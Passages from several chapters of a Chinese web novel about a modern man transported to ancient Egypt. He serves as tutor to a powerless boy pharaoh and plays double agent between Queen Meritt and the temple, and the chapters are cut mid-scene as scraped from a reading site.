前面几位他都见过,虽说他不参与朝会,但一些需要他参与的重大的节日里难免会见到这些人。 因为人一直没有到齐,所有人都只能等待。 时间一点点消逝,直到太阳完全升起,最后一个先知才姗姗来迟。 拉赫里斯的视线越过走在前面的小祭司,看向跟在他们后面的那位先知。 这是梅丽特王后突然要求加在名单上的人,也许梅丽特只是喜欢别人为她一退再退的委曲求全,但也不排除这个人对梅丽特有着特殊的意义。 目光落在那人身上时,拉赫里斯只觉得眼前被晃了一下。 青年身材清瘦,亚麻的长袍都不及他皮肤白皙,如同沙漠里扬起的雪,翠绿的绿松石,血色的红玉髓都成了他身上的点缀,就连象征着神圣与不朽的黄金都只能沦为陪衬。 在肤色偏棕的埃及,只这一身皮肤就足以引得无数人回头,更遑论青年长着一张极为俊秀的脸。 狭长的眼尾微微上扬,看人时总带着一股漫不经心的意味,好像什么都入不了他的眼。 而此时,这双漂亮的眼睛正看向宝座的下方。 拉赫里斯后知后觉地回过神,突然意识到他在看什么,顿感羞恼,伸手拽了下衣摆,试图遮住自己悬空无处安放的脚。 果然是奴隶出身,没有一点教养与礼法尊卑观念。 没有教养与礼法尊卑观念的伯伊心情颇好地扬起唇角,这小孩儿还真是一点都不经逗,怎么就生气了。 宫殿里的人不少,在场的人里佩戴圣甲虫臂环的还有另外四个,两个中年男人,另外两个祭司头发已经花白了。 四位先知的年龄和形象都符合世人对教师身份的刻板印象。 相比之下,十六岁的伯伊面容青涩,站在这群人身边就像是来观光旅游的。 “这几位大人在未来的时间里将会担任您的先知,辅佐您学习治国之策,”多赫女官站在法老宝座的下首,态度看上去十分恭敬,“我先为您介绍一下这几位先知大人。” 伯伊站在右手边,是距离她最近的,但她的视线径直略过,从伯伊身边的老祭司开始:“这位是泰伊祭司,一直主管神殿的祭祀事宜,今后会负责您在神学方面的课程。” 泰伊颤颤巍巍站起身,又颤颤巍巍跪下,匍匐在地,行了一个标准的君臣之礼。 因着年纪大了,动作颇为艰辛,多赫看向拉赫里斯,暗示他主动去搀扶对方,以彰显法老王的谦和。 拉赫里斯暗金色的瞳仁深处略过一抹不耐,但很快被他抹去,掩饰得极好,无人察觉。 在众人眼里,这个少年法老王向来是个听话的傀儡,无条件地配合所有人的要求,甚至有人扬言,即便不是梅丽特王后,想要掌握这个法老也不是一件难事。 “泰伊祭司请起。”拉赫里斯一边说一边跳下宝座,要去搀扶老祭司,藤编鞋底敲打在花岗岩地面发出清脆的声响。 “哧——”一声压抑不住的低笑突兀地出现,声音极低,要不是因为距离近,大概都不会注意到。 拉赫里斯身体倏地僵住,阿蒙霍特普家族的男人无一不是身强体壮,打小就比同龄人长得高大,在战场上是以一敌十的猛将。 除了他。 因为他生得羸弱,宫里还有传言说他是母亲的私生子。 母亲是部族进献给法老的异族美人,因着一双暗金眸而被父亲所喜,极尽宠爱,埃及人永远无法拒绝与黄金有瓜葛的事物。 在父亲战死的同年,母亲生下了他,但父亲在外征战一年有余,只在山谷节的时候回过底比斯,短暂的停留后再次出征。 他继承了母亲的眼睛,却没能传承阿蒙霍特普家族的伟岸。 流言也因此而起。 暗金色的瞳仁看向笑声的来源,拉赫里斯气恼十分,是那个看着年纪最小的先知,怎么又是他。 “你……”他额角的青筋蹦了下。 伯伊自认还算是见识广博,但看到这小法老凳子下不来的样子实在是忍不住想笑。 他强行压下嘴角的笑意,清了清嗓子说到:“陛下,泰伊祭司好像身体有些不舒服。” 这话一出,在场的其余人都齐齐把目光转向伯伊。 这都怪谁? 他们在这宫殿里站了都不知道多久,从阿恩特开始等到阿恩特结束,这家伙才姗姗来迟,换谁身体能舒服得了。 哪怕泰伊祭司是坐着的,但也够让人心惊胆战的,要知道搁平时,他们都担心这位摔一跤就能去见拉神了。 “各位先知大人上座。”拉赫里斯憋着气,尚未完全褪去婴儿肥的脸颊微微鼓起。 伯伊面带笑意,看得拉赫里斯越发气恼。 他本意站着,省得又叫那不分尊卑,瞧不起人的奴隶看笑话,但见他不坐,刚刚坐下的泰伊又颤颤巍巍站起来。 哪有法老站着,他坐着的道理。 拉赫里斯:“………” 最终在某人不掩笑意的视线中,他又十分憋屈地又坐回了法老宝座。 多赫只当没有看见两人之间的争锋,继续介绍,这次是泰伊身边的老祭司。 “这位是达曼胡尔大祭司,主管星象观测与推演计算,历法,这位大人非常权威,能为您与神明的交流提供诸多启发。” 介绍完这两位,多赫的言语明显简练起来,抬手示意中间的中年祭司之一。 “这位是赫姆恩祭司,主管律法和管理。” 最后一位中年人,多赫说到他时,顿了下这才说道:“这位是米维尔将军,今后关于军事,武学方面都由他来引导您。” 这些名字伯伊一个都没听说过,无论他们在这个时代如何璀璨,但注定经过后世埃及经外族入侵,政权更替,将无人再知晓他们的存在。 拉赫里斯一一与各位先知见礼。 米维尔身材高大健壮,身高近两米,即便是坐着都比站在他面前的拉赫里斯高出许多。 他居高临下地打量着面前的法老,纤细瘦弱,一只手就能捏死。 半晌,他伸手在人肩头拍了两下,笑道:“我是只会打仗的粗人,今后少不得惹陛下烦心,还望陛下不要怪罪。” 话说得漂亮,但手上的力道确实不见少,拉赫里斯踉跄了下,差点摔倒,肩背上肉眼可见的浮现出红色的巴掌印。 “米维尔。”泰伊皱眉,压着声警告他不要太过分。 米维尔却是毫不在意地收回手:“大祭司难免过于偏宠小陛下,我埃及可没有这般细皮嫩肉的男人。” 稍顿,他似是想起什么一般,看向旁边的伯伊开玩笑般:“哦,抱歉,忘了,也不是没有,梅丽特王后的后宫里倒是有一些。” 他这话一出在场的人齐齐变了脸色。 “米维尔,大胆!”多赫厉声怒喝。 竟然把陛下和梅丽特王后后宫里的男宠相提并论,这何止是大胆,简直是把王室脸面踩在地上。 被无辜牵连的伯伊只当自己没听懂对方话语里的内涵,根本不接对方的话茬,反倒是东张西望地观察宫殿里所有人的反应。 在场的宫人甚至还有低头偷笑的,这小法老还真是没有一点威信可言啊。 比起怒气勃发的神殿众人,倒是小陛下本人的反应让伯伊起了点儿兴趣。 小孩儿面无表情,对这样的羞辱甚至没有他因为腿短笑得那一声让对方来的愤怒,许是习惯了这些大臣对他的态度。 名义上是为法老,但所有人都知道这个王朝真正的话事人住在芭斯泰特宫殿,法老更像是坐落在这座宫殿的神像,需要的场合才会搬出去,以供万民敬仰。 似乎是察觉到了他的视线,拉赫里斯绷着小脸伸手把衣服往下拽了拽。 伯伊:“………” 到底要怎样才能忍住不笑? “多赫女官还是这么较真的性子,”米维尔笑道:“陛下都不介意这样的玩笑话,怎的你还认真上了。” 多赫气得暗暗咬牙。 陛下介意又能怎样,但凡是有点实权的臣下都不把他看在眼里,只不过大多都还会做作面子工程。 唯独这米维尔,仗着父亲是塞贝克大将军,背靠梅丽特王后,每每说话都十足气人。 “多赫女官,”拉赫里斯对多赫摇了摇头,说:“还请继续介绍。” 彼此心知肚明,争吵只不过是弱者的无能狂怒,毫无意义。 多赫拳头梆硬,忍了又忍这才生咽下那口气:“最后这位……” 看到伯伊那张与众不同的脸,她又是一梗,梅丽特塞过来的人真是一个比一个气人,米维尔是说话难听,这个只看着就气得人胸口疼。 从伯伊进来,所有人就一直在有意无意地观察他。 撇开这外族人的容貌不说,十六岁的先知更是闻所未闻,据说还是奴隶出身。 伤害不大,但侮辱性极强。 哪怕是梅丽特安排进来的人都不得不感叹一句,还得是王后。 伯伊弯着笑眼看她,做出一个请的手势,示意她继续往下说。 多赫心想,梅丽特到底如何做到能把两个气人的玩意儿凑在一起,但自己不被反伤的。 “这位是阿伊大人”,多赫脸上的笑容都有些发僵了,“今后负责您文学语言方面的引导工作。” 她始终觉得把教导法老的工作交给这个奴隶不行,但碍于梅丽特的关系,神殿主事人最后商议决定让这个奴隶负责文学方面的引导。 就算奴隶无法胜任,泰伊大祭司和达曼胡尔祭司在教导过程也能完成这部分工作。 伯伊了然,语文老师。 法老见面会后大家就可以离开了。 许是为了为难他,神殿优先安排了他的课程。 法老的宫殿有很多房间,伯伊被侍女领到书房等候。 面见大臣时法老需要穿正装,平日里也是穿着常服。 桌案上放置着一摞空白的莎草纸,和墨笔,再没有其他的东西 6. 投敌 《穿到法老身边做权臣(古埃及)》全本免费阅读 授课的时间是到瑞赫结束。 但伯伊说过那番话后,小孩儿就气得根本不想跟他说话,更别说是上课了。伯伊也乐得轻松。 两个人就这么各坐一边,互不搭理。 拉赫里斯翻开书照着书本上的字临摹学习,他从来没指望过有人会真心实意地帮他。 哪怕是表面上站在他这边的神殿也不过是想要通过他重振神殿的地位,自从梅丽特把控朝政后,神殿的话语权日渐萎靡,如今也只能在梅丽特划出的一亩三分田里苟延残喘。 书上的字他一个不认识,那他就照着写,把字刻进脑子里,总有一天他能看懂。 另一头的伯伊从书柜上随手拿了本书,看似看的认真,实则脑子里却是在思考接下来要做些什么。 先知是一个没有什么实权的文职,每个月领点生活物资,勉强满足温饱,其余的什么都做不了。 他如今对埃及的了解仅限于向导小姐的讲解,但后世对古埃及的解读本身就是不全面的。 所以深入了解是他眼下最紧要的,足够了解才能找到立脚点,扎根下去汲取营养。 “咔嗒。”一声轻响。 伯伊侧眸看过去,只见一只芦苇笔呼噜噜滚到脚边,笔尖的墨水撒了一地,留下星星点点的痕迹。 刚刚还凶巴巴跳脚的小法老已经趴桌上睡得人事不知,脸颊压在手背上微微变形,嘴巴挤得嘟起,头顶的王冠歪了半边,搭在手背上,稍一动弹就会掉落。 长得好看的小孩儿,哪怕是脸变了形也还是好看。 伯伊毫不吝啬地奉上赞美。 他的评判标准向来好就是好,不好就是不好,没有含糊其辞,这小孩儿虽然是个弱鸡,但长相上确实无可指摘。 至于站在旁侧的随侍,小孩儿找他吵架的时候默不作声的装听不见,现下也是个盲人做派,丝毫没有要叫醒法老继续学习的意思。 想想刚刚宫殿里看到的那些宫人,不管这些人是不是梅丽特的人,但至少想着拉赫里斯的人目前是一个没瞅见。 伯伊偷懒偷得心安理得,根本没准备叫醒拉赫里斯,反正梅丽特也没想让他真的教这个小法老什么,保不准这个随侍把他的言行传递过去,梅丽特还要给他记上一功。 领悟老板的真实想法,主动揽活,精准落实老板的计划,年度出色牛马也不过如此。 时间悄无声息地流动,树影从窗边逐渐蔓延,如潮水淹到足尖,风一吹就“沙沙”摇曳,斑驳的光影随风而舞。 拉赫里斯不知道自己是怎么睡着的,什么时候睡着的,再睁眼窗外已是落霞漫天,倾洒在桌案上,将莎草纸上的字渡上一层橘色的霞光。 光景很美,只是那歪七八扭的字,丑得各有不同,根本看不出原型,看着就叫人生气。 抬头去看,发现宫殿里已经人去楼空,问身边的随侍才知道那个说是他先知的奴隶一到点就溜了,全然没有把他这个法老当回事儿。 拉赫里斯当即脸就黑了。 这个该死的奴隶。 “你怎么不叫醒我?”他问随侍。 随侍连忙跪下认错:“法老赎罪。” 拉赫里斯更加气闷,这些宫人就是这样,仗着他没有实权,每次犯错就下跪认错,认错极快,但下次还敢。 毕竟就算他说把人拖出去杖毙,也根本不会有人听他的。 - 伯伊离开宫殿,候在门口的随从立刻走上前为他递上外袍,还贴心地备了头纱。 夜间风大,沙尘容易迷人眼,只要出门随从都会带上。 伯伊笑着说了声谢谢,心底感叹,还得是神殿,看这服务态度多好,难怪能做成连锁企业,遍布全国各地。 “阿伊大人辛苦了,”巴尔出声询问,“我们现在回麦涅乌吗?” 伯伊叹息一声:“为陛下传道授业是我的福分,怎么能说辛苦,不过陛下的底子稍微差了点,练了许久的字始终差点火候,看来还需要花费许多心思。” 巴尔和巴特诧异地对视一眼。 据他们所知,这阿伊是奴隶出身,而且还是梅丽特身边的男宠,这样的身份竟然会认真教陛下? 虽然怀疑阿伊言语的真实性,但两人没有表现出来。 哪怕彼此心知肚明对方的身份,他们明面上也还是阿伊的随侍,随侍不该对主人的话提出任何质疑。 三人照着来时的路回去。 伯伊方向感一般,以前大多数时候都是靠夏行认路,现在也一样,根本记不住这只走过一遍的路到底要怎么走回去,全靠巴特在前面领路。 “巴特方向感很好。”这是伯伊观察得出的结果。 他们早上过来的时候,他注意到巴特巴尔也在记路,可见这两人之前是没走过从麦涅乌到诸神殿这段路的。 巴尔尚且会在出现路口显露出丝缕犹豫,但巴特却是走得不带一丝犹豫,每一个转弯都十分确定。 “是的,阿伊大人。”巴尔说,“他从小方向感就很好。” 从小? 伯伊挑眉,视线在两人身上转了一圈:“你们是兄弟?” 巴尔一顿,点点头:“我是哥哥,他是弟弟。” 埃及人的名字相似度极高,伯伊一开始没往这方面想,当然,最主要还是两个长得一点都不像。 巴尔看着年纪大些,但身材瘦小单薄,典型的埃及人小麦色皮肤和轮廓,巴特则是更为高大,皮肤黝黑,五官更像现代的非洲人。 伯伊认真地把两人看了一遍,确定自己的眼睛是好的,这两人身上确实是找不出一点相似的。 “那你有什么擅长的?”他问巴尔。 巴尔抿唇,没有要和对手交底的意思。 伯伊同情地看着他:“没有优点还要当哥哥,真是辛苦你了,但没关系,没有优点人生也会很好的,算不上是废物。” 本来就是十四五岁年少轻狂,自尊心极强的年纪,哪里经得起这样的激将法,巴尔立刻红着耳朵争辩道:“谁说我没有擅长的了,我就很擅长演算。” “就是就是,”巴特也为差点沦为废物的哥哥打抱不平,“哥哥演算可是大祭司都夸过的。” 伯伊面带微笑地点点头:“好好,我都知道了。” 这一下什么底都交了,虽然知道对方是神殿的人,但这一手自爆卡车还是暴露了弟弟单纯可爱的属性。 感情这俩不是小喽啰,而是能直接接触到神殿顶层大祭司的人。 他就喜欢和这样心思纯粹的人打交道。 巴尔率先反应过来自己被套路了,想要拦住弟弟的话头已经来不及,顿时懊恼地闭紧了嘴。 怎么回事,他明明是个小心谨慎的人,怎么就着了这奴隶的道。 “你们从小就在宫里长大?”伯伊拿出一副想要和他们推心置腹的架势。 巴尔纳闷,他们是这种可以谈心的关系吗? 心思单纯的巴特憨厚一笑:“不是,我们是在孟斐斯长大的,成年才被接到宫里做了随侍。” 巴尔简直想要捂脸,低声呵斥:“巴特。” 巴特听到哥哥的语气不对,立刻绷紧了神经,一般这种时候都是他说错话,做错事了。 但问题是他明明就没有提到神殿这两个字,怎么就说错了,就是大祭司在这里也揪不出错来啊。 伯伊微微颔首,笑容温和。 孟菲斯距离底比斯有一定的距离,可见神殿很有可能是通过全国各地的神殿进行挑选,培养势力,等到某个节点把人才输入王宫。 巴尔警惕地想,绝对不能再着了这奴隶的道儿。 不成想,这人根本不安套路出牌,话锋一转:“你们的饰品怎么其他的随侍不一样,我以为宫里的规格是一样的。” 伯伊说的是他们手臂上的臂环,宫里的宫人,随侍大多都是戴着睡莲图案的臂环,唯独他们俩一个左臂一个右臂,戴着的臂环是藤状的,仔细看中间包裹着一柄奇怪的手杖,设计略显女性化,很少见的款式。 巴尔暗自琢磨这句话有没有什么深层含义,但怎么想好像都没有什么问题。 于是他略微放松了语气说:“这是我们母亲的遗物,法老仁慈,特许我等在宫里也能佩戴。” 伯伊点点头,表示明白了。 看来巴特应该是没有说谎,藤蔓中间的手杖他在博物馆见过,是工匠之神普塔手持的权杖,而普塔正是孟斐斯信奉的神明。 伯伊聊天的话题东一榔锤西一棒的,问得毫无逻辑,巴尔从一开始的警惕逐渐放松下来。 路程走了大半,眼看麦涅乌宫殿已经近在眼前,巴尔偷摸着松了口气,总觉得这个奴隶不太对劲,但他又说不上来。 三人走进宫殿,穿过花园时,伯伊突然偏头问了句:“你们还招人吗?” “招,招人?”巴尔有点懵,什么招人? 伯伊一笑:“你们神殿还招人吗?我想投靠你们。” 巴尔怀疑自己听错了,大祭司不是说这人是梅丽特王后的男宠吗? 巴特就比较耿直,直接“啊”了一声。 伯伊笑意吟吟地说:“你把我的意思转达过去,报个价,筹码合适,我随时可以归入神殿麾下。” 巴尔打量他的神色,十分怀疑:“你是认真的?王后选你做先知应该是挺看重你的吧。” 伯伊:“在王后眼里我永远都只是一个男宠,我希望在一个更公平的起点展开抱负。” 稍顿,他轻笑一声:“而且,王后已经快六十岁了,但我才十六岁,总得为自己筹谋将来。” 巴尔半信半疑,但伯伊说的确实没错,阿蒙霍特普一世二十多就死了,二世也只活到三十多,梅丽特活到五十多岁,这让依附他的势力安心的同时也忧心,生怕她什么时候就去见拉神了。 梅丽特王后甚至没有一个继承人,一旦她去世,整个权利体系都将分崩离析,她执政的这些年得罪的人犹如过江之卿,现有的势力必然会遭到巨大的反扑。 “你不怕王后发现?”巴尔问。 伯伊:“富贵险中求,不入虎穴焉得虎子。” 巴尔愣了下,把这句话默念了一遍,竟然有点被震动到。 这是抱着怎样的觉悟,才能说出这样的话,眼前的人细算下来也不过就比他大上一岁而已。 “梅丽特给我安排的任务就是监视陛下,干扰陛下的学习进程,固定时间去和她汇报。” 伯伊说:“我没办法保证我的消息一定正确,毕竟王后向来谨慎,鲜少交心,这需要你们自己去判断,但我可以把我知道的,全都告诉你们。” 巴特:“你要是故意骗我们怎么办?” 伯伊挑眉反问:“合作的基础是信任,而且偌大的神殿总不会没有一点自己的信息渠道吧?” 神殿纵使被梅丽特极力打压,但瘦死的骆驼比马大,总该是有些底蕴的。 “可是……”巴特还想说什么,巴尔伸手拦住他,摇了摇头示意他不要再说,这才对伯伊说到:“我会转达,合作与否会有上面的人定夺。” “可是他就不像是个好人。”巴特小声嘀咕。 巴尔瞪他一眼,巴特努努嘴,安分地不说话了。 “回吧。”伯伊轻笑一声,也不管这两人是什么反应径自回了宫殿。 天一擦黑,整个法老宫殿就逐渐陷入了安静。 麦涅乌的四个随侍也都被伯伊打发下去,各自休息。 躺在陌生的床上,伯伊一如既往地失眠。 他非常认床,在陌生的地方会失眠睡不着,这件事他从来没有告诉过别人,就连跟在他身边的夏行都不知道。 神殿的人以为他是起得早,但其实他昨晚就一宿都没睡着,闭上眼脑子却很清醒,甚至知道昨晚有两个人从他门前经过, 7. 左右逢源 《穿到法老身边做权臣(古埃及)》全本免费阅读 梅丽特王后和神殿两边都没有立刻给回复,伯伊也不担心,以神殿和梅丽特王后之间剑拔弩张的关系,是不可能去和对方互通有无的。 至于这两个势力会不会拒绝,伯伊倾向于不会。 自己在他们眼里只是一个小喽啰,梅丽特强势专权,对神殿毫无畏惧,甚至对于对手的畏手畏脚感到无聊。 既然自己自荐先知已经给了对方野心勃勃的印象,那现下迫切想要立功倒也很合情合理。 对于他的提议,这个女人大概会如同看一场打发时间的戏剧一样充满趣味。也许还期待着自己有更有趣的内容呈现给她。 一只小蚂蚁带来的饭后娱乐。 至于神殿—— 伯伊毫不怀疑在自己之前就有梅丽特的势力投靠神殿,正如他所说,六十岁,是一个埃及人难以企及的岁数,没有人敢肯定她什么时候就没了。 正是这种不确定让下面的人每过一天都是煎熬,梅丽特两眼一闭安详去世,但她的附庸正值壮年,大家族必须为自己的后代考虑。 在神殿眼里,他这样的蝼蚁没什么用,但他的投靠是神殿用来撬动其他势力的筹码,梅丽特大厦将倾的证据。 这样的筹码越多,瓦解梅丽特势力团体的力量就越大。 一天后,伯伊先收到了梅丽特传回来的消息,答应了,并且让他好好做,不会亏待他。 神殿显然要更加谨慎,晚了两天才给了回复,这些时日应该都在调查他的身份和来历。 两边一个有钱有权,一个家大业大,都提前给了酬劳。 当着巴尔巴特的面,伯伊打开了梅丽特送过来的宝盒,金灿灿的黄金豆把巴掌大的盒子塞得满满当当。 伯伊不动声色,垂下的眼眸中盛满笑意,果然,梅丽特对他的开幕充满了期待。语气自得,像是受到了莫大的嘉奖:“这是梅丽特王后赏给我,用来打点宫人的。” 巴尔巴特对视一眼,都在对方的眼里看到了震惊。 梅丽特王后竟然这么看重这个奴隶的吗? 一盒金豆对贵族来说不算多少,但奴隶一辈子,不,十辈子都赚不到这么多。 “这是给你们的,”伯伊从盒子里抓了一小把递过去,“怎么处理是你们的事,希望今后大家能合作愉快。” 巴特眼巴巴地看着哥哥,不知道该不该拿,巴尔思考了下,双手接过,又以左手按在胸口行了个礼:“多谢阿伊大人。” 伯伊笑意吟吟地说:“都是一家人,不用这么客气。” 巴尔收下自然不是为了私藏,一出门立刻亲自把金豆子送到神殿去。 埃及的黄金都是奴隶开采出来的,为了避免奴隶私盗,所有贵族都会在黄金上刻上自己的印记,如果黄金流通到另一个贵族手上,就会重熔刻上新的印记。 神殿的人当下进行了验证,确实是梅丽特王后的印记没错。 “看来梅丽特比我们想象中还要更喜欢这个奴隶一些,梅丽特还真是对漂亮的脸蛋毫无抵抗力,或许真能拿到些什么消息也说不好,”泰伊沉吟道,“大祭司您觉得呢?” 梅丽特贪恋美色的事情并不是什么秘密,每年她都大张旗鼓地在民间搜罗俊美男子招入后宫。 神殿也曾试图通过这个方法接近梅丽特,但梅丽特实在是喜新厌旧,没两天就腻了,根本套不出什么有用的消息。 “有用最好,没用也无妨。”神殿的大祭司诺菲斯捏着小小的金豆子兀自沉思,黄金的光芒在花白的胡子上反射出浅淡的一抹金,“再多观察观察。” “以这奴隶的张扬只怕今后不会少得罪人,梅丽特安排这奴隶给他做先知,可把陛下气坏了。”泰伊十分无奈,“与我抱怨了好几次。” 诺菲斯轻叹:“陛下性格天真,之于我们也算是好事,少费了许多心思。” 半晌,他把金豆子递还给巴尔:“既然是给你们的,你们且拿着罢。” 巴尔没有推脱,收下塞进口袋里,跪地行礼。 另一边。 巴特巴尔刚走,塔那罗就进了书房。 “他们找你做什么?”塔那罗非常直白地问,“我好像看到他们拿着什么东西急匆匆出去了。” 伯伊笑容满面地对他招招手,塔那罗狐疑地走上前。 “看看,没想到神殿对我竟然如此重视。”伯伊语气炫耀地打开了巴尔他们送过来的神殿报酬。 圆盒子里放着一套精美的首饰,项链黄金打底,镶嵌着红蓝宝石,臂环上雕刻着栩栩如生的老鹰,还有彩羽和宝石制成耳坠。 这项链上最值钱的不止是宝石,还有这其中堪称精致的做工,一看就颇有价值。 “神殿送的?”塔那罗震惊。 伯伊点点头,似真似假地说:“看来神殿确实是对王后心怀耿耿,连我这样的小人物都要极力拉拢。” 欣赏了会儿,他关上盒子,往前一推:“劳烦你帮我把这套饰品送到王后那边。” “你不自己收着?”塔那罗以为他会自己留着,毕竟王后也没有要求神殿给的东西必须上交,很少有人能抵抗这样精美的饰品,以及其后面代表的价值。 要是他,肯定就会自己私藏。 “你把我当什么人了!”伯伊义正言辞地表忠心,“我对王后的忠心岂能是这小小首饰可以衡量的。” 塔那罗感觉自己的眼睛好像被什么东西刺痛了,如果他是现代人,就会知道有一个词叫正道的光。 等人拿着首饰盒出去,伯伊挑唇很轻地笑了下。 他当然要那套饰品,但他直接收下,难免让梅丽特猜忌,所以不如让梅丽特亲自赏给他。 临出门,伯伊叫住塔那罗:“巴特巴尔是诺菲斯大祭司的亲随,你多盯着点,看看能不能从他们嘴里套出点关于神殿的事情。” 塔那罗皱眉,没想到巴特巴尔竟然还有这样的身份。 “好的,阿伊大人,”他欠身行礼,“他们对我没有防备,我会利用好这个机会。” 晚上的时候,塔那罗果不其然又把首饰盒送了回来。 “王后说你做的很好,这首饰赏给你了。”塔那罗想起王后看到首饰盒时的表情,半是欣赏半是满意,还和身边的芙芙女官赞叹了一句真是没看错这孩子,是个扛得住诱惑的。 伯伊对着芭斯泰特宫殿的方向行了个礼,净了手,又用白布垫着,姿态虔诚地把饰品放进了自己的柜子。 那种感觉又来了,塔那罗再次被刺了一下,好耀眼。 伯伊心想,这可是他在这古埃及第二份财产,发家的本金。 - 翌日,伯伊又要去给小法老授课。 出门前,他特意用上了神殿的那套饰品,精致华美的饰品佩戴在他身上,越发衬得肤色雪白,平白为他增加了几分矜贵。 光明正大地佩戴这套行头,在巴尔巴特眼里是伯伊在向神殿暗示自己的他们这边的人,在塔那罗眼里则是伯伊在向梅丽特王后表忠诚,证明自己的价值。 投靠神殿后,伯伊发现了第二个好处。 那就是去上班不用步行了,刚一出门就看到有轿子,和华夏传统的轿子模样略有些区别,轿前还有下轿脚踏,脚踏前沿是精美的浮雕。 依旧是以人力为主的出行方式。 神殿为他配置了四个身强体壮的轿夫,皮肤黝黑,肌肉梆硬,看着十分可靠。 伯伊坐进去感受了下,空间不大,凳子有点硬,但总比自己走一个小时路去上班来得强。 不得不再次感叹,全国连锁企业的员工福利是真不错。 于是他就在这样一步三摇的节奏中,赶在上课时间前抵达了法老居住的诸神殿。 下轿的时候,轿夫从随身行囊中取出一个木制的盒子递给伯伊。 伯伊拿出来,是几本书,打开一看里面的内容,是埃及文字的历史,书写方式等等,好家伙,是他的教辅资料。 法老的宫殿里十分安静,只角落里无声地候着一个宫人。 大片的花窗毫无阻碍地透进阳光,将垂挂的亚麻布帘吹得来回摇曳。 拉赫里斯面无表情地看着伯伊走进来,左手按在胸口对着他行了个礼。 “奴隶就是不讲规矩,你应该行君臣跪拜礼。”拉赫里斯站在台阶上,居高临下地说。 伯伊诧异地挑了下眉:“我确实不懂规矩,我看米维尔将军这样行礼,我也就这么做了。” 拉赫里斯一梗。 米维尔这么行礼,是因为根本不把他放在眼里,藐视王权,偏偏他又不能把这事说明,会显得他非常无能。 “我们来上课吧。”伯伊走上前把书放在桌上摊开,在自己的座位坐下。 拉赫里斯冷笑:“你不是说我不配做你的学生吗?” 伯伊不轻不重地笑了声:“你别误会,我只不过是食君之禄,担君之忧罢了。” 神殿如今想要借助法老的起势,他总得假装配合,左右他不过是一个奴隶,应付一下神殿也不能指责什么,他们吸纳他也不是为了让他教导法老的。 稍顿,他又说:“在我的故乡有一个词,比较符合我们之间的关系。” 拉赫里斯觉得自己不应该接话,但看到伯伊明显与埃及人不一样的肤色,还是没忍住好奇问了出来:“什么?” 伯伊唇角微弯:“支教,意思是支援落后地区教育工作。” 落后的拉赫里斯:“………” 梅丽特一定是有什么特殊部门,专门培养气人的人才吧。 伯伊看小法老气得耳朵都红了,以为这小孩儿又要跳脚骂人,没成想对方却突然冷静下来,问他:“你的家乡人人都可以读书?” 伯伊意外地看他一眼,没想到他竟然会抓住自己 8. 小弟+1 《穿到法老身边做权臣(古埃及)》全本免费阅读 “阿伊大人,我们这是要去哪里?”随侍目送自家大人进去,没过一会儿又出来了,完全摸不着头脑。 阿伊笑道:“我们出宫走走,散散心。” 随侍一愣,不确定地问:“出宫吗?现在?” 现在不是大人给法老授课的时间吗?这个时候不在宫殿里真的可以吗! “我好久没出宫了,你给我带路吧。”阿伊是笑着说的,但语气却十分坚定。 随侍犹犹豫豫地看了眼身后的诸神殿,最后还是弯腰说是:“那请大人随我来。” 神殿派来的轿子落在偏殿,轿夫们也在偏殿休息,但伯伊没有安排轿夫们送自己,而是跟着随侍步行出宫。 许是埃及神权治国的缘故,常规百姓视法老为神明,对法老的宫殿也是充满了敬畏,所以宫殿管制不算太严格。 伯伊走在随侍身边,看随侍递了腰牌,护卫看也没看就把腰牌还了回来。 “阿曼特,回头来跟哥几个喝酒。”护卫笑着抬了抬下巴。 显然两人之前就认识,关系似乎还算不错。 随侍,也就是阿曼特闻言皱皱鼻子,想说什么但碍于伯伊在旁边,最后只是小声回了句:“我才不喝酒,你可别乱说。” 伯伊鲜少再宫里走动,护卫不知道他的身份,只以为是阿曼特的新工友,只不过这人长得实在是好看,忍不住多看了几眼。 “嘿,你小子怎的谦虚起来了?”护卫收回目光,大喇喇地伸手去揽阿曼特的肩,被阿曼特灵巧地躲开。 “不跟你说了,”阿曼特低骂一句,“我还要办正事呢。” 护卫哈哈大笑,倒也知道正事要紧,不再和他逗笑,放两人离开。 出了护卫哨岗,两人一起往外走。 “阿伊大人想去哪里?”随侍战战兢兢地问。 “我长得很吓人?”伯伊轻笑一声。 “当,当然不是,”阿曼特被他这话吓得脸都白了,又是摇头又是摆手,“阿伊大人长得顶顶好看,是我见过最好看的人。” 这宫殿里贵人许多,但最好看的还得是面前这位阿伊大人。 具体好看在哪儿他说不上来,没读过书不会描述,但就是觉得比旁的人都要好看,有时候偷看被对方发现了,心脏会砰砰地跳个不停。 这么好看的人,也难怪梅丽特王后会看重他。 伯伊:“那你怎么和我说话都畏畏缩缩的?” 阿曼特偷觑他一眼,立刻又收回视线,要是换作平时他是不敢的,但想到大人对自己不冷不热的态度,还有塔那罗说的话,咬咬牙,鼓起勇气说:“大,大人,您能不能不要调我走?” 伯伊挑眉:“你为什么觉得我会调你走?” 说了开头,剩下的话也没那么难了,随侍一鼓作气地继续说下去:“我知道您觉得我愚笨,但我可以学,我学东西很快的,大人你别调我走,要是调走了,我就什么都没有了。” 阿伊身材瘦高,虽说只比眼前的小随侍大两岁,但个头却是高出快一个头。 阿曼特也不知道是因为这一个头的身高差距带来的压迫,还是因为阿伊大人身上带着的气势,每每和阿伊大人说话都觉得心惊胆战,十分惧怕。 “我问的和你答的是同一个问题?”伯伊反问。 阿曼特苦着脸,小声地说:“从您来麦涅乌就不曾问过我的名字,塔那罗说是因为您对我不满意,想要把我调走。” 伯伊微微眯眼,梅丽特还想塞人进来,他压低声音说:“其实我也不想你调走的。” 阿曼特脸色一白,他不笨,这话的意思不就是不想调走,但还是要调走吗? 伯伊的视线在他脸上扫过,眼看小随侍的脸色越来越惨白,也不知道脑补到那个阶段剧情了,他才悠悠开口道:“但你应该知道这宫殿里,是梅丽特王后说了算。” 阿曼特白着脸,用极小的声音说:“可,可是您不是梅丽特王后的人吗?” 听说麦涅乌要住进一位梅丽特王后的人,他还暗暗庆幸自己好运气,要知道想要沾染一点王后的边角那可不是容易的事情,竟然让他给遇上了,只是没想到…… 伯伊略带为难地说:“我自然是王后的人,但塔那罗也是王后安插进来的人,他们想要把你换走,安排另一个人进来。” 阿曼特这下都快哭出来了,被梅丽特驱赶出去,这宫殿哪里还有他的容身之所,别人只会认为是他做错的事情才被赶出来,哪怕他什么都没做。 王宫里多的是想要奉承王后的人,少不得有人落井下石,刚刚那护卫与他说说笑笑,但真要到了那一步,对方也只会说自己爱莫能助。 “听说你花了很多心思才进的麦涅乌?”伯伊问。 因着失眠,前些天塔那罗和巴特的聊天他都听在耳里,塔那罗是王后的人,那这个故事的拥有者不出意外就是眼前这个小随侍了。 